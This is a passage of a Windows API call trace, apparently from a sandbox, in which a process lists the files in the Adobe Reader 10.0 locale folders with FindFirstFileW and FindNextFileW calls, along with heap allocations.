ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SUO", cAlternateFileName="")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.SUO", cAlternateFileName="MAKEAC~1.SUO")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SUO", cAlternateFileName="MULTIM~1.SUO")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.SUO", cAlternateFileName="")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.SUO", cAlternateFileName="")) returned 1 [0220.197] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SUO", cAlternateFileName="")) returned 1 [0220.197] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SUO", cAlternateFileName="READOU~1.SUO")) returned 1 [0220.197] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SUO", cAlternateFileName="")) returned 1 [0220.197] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SUO", cAlternateFileName="SAVEAS~1.SUO")) returned 1 [0220.197] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SUO", cAlternateFileName="")) returned 1 [0220.197] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SUO", cAlternateFileName="")) returned 1 [0220.197] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0220.197] GetProcessHeap () returned 0x550000 [0220.197] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0220.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0220.275] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.275] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0220.275] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0220.276] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0220.276] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0220.276] GetProcessHeap () returned 0x550000 [0220.276] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0220.276] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0220.276] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.SUO", cAlternateFileName="")) returned 1 [0220.276] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 1 [0220.276] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 0 [0220.277] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0220.277] GetProcessHeap () returned 0x550000 [0220.277] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0220.277] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0220.277] GetProcessHeap () returned 0x550000 [0220.277] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0220.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0220.332] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.332] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0220.332] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.FRA", cAlternateFileName="")) returned 1 [0220.332] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.FRA", cAlternateFileName="ADOBEC~1.FRA")) returned 1 [0220.332] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.FRA", cAlternateFileName="")) returned 1 [0220.332] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.FRA", cAlternateFileName="BRDLAN~1.FRA")) returned 1 [0220.332] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.FRA", cAlternateFileName="")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.FRA", cAlternateFileName="")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.FRA", cAlternateFileName="")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.FRA", cAlternateFileName="")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.fra", cAlternateFileName="")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.FRA", cAlternateFileName="")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.FRA", cAlternateFileName="MAKEAC~1.FRA")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.FRA", cAlternateFileName="MULTIM~1.FRA")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.FRA", cAlternateFileName="")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.FRA", cAlternateFileName="")) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.FRA", cAlternateFileName="")) returned 1 [0220.334] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.FRA", cAlternateFileName="READOU~1.FRA")) returned 1 [0220.334] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.FRA", cAlternateFileName="")) returned 1 [0220.334] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.FRA", cAlternateFileName="SAVEAS~1.FRA")) returned 1 [0220.334] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.FRA", cAlternateFileName="")) returned 1 [0220.334] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.fra", cAlternateFileName="")) returned 1 [0220.334] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, 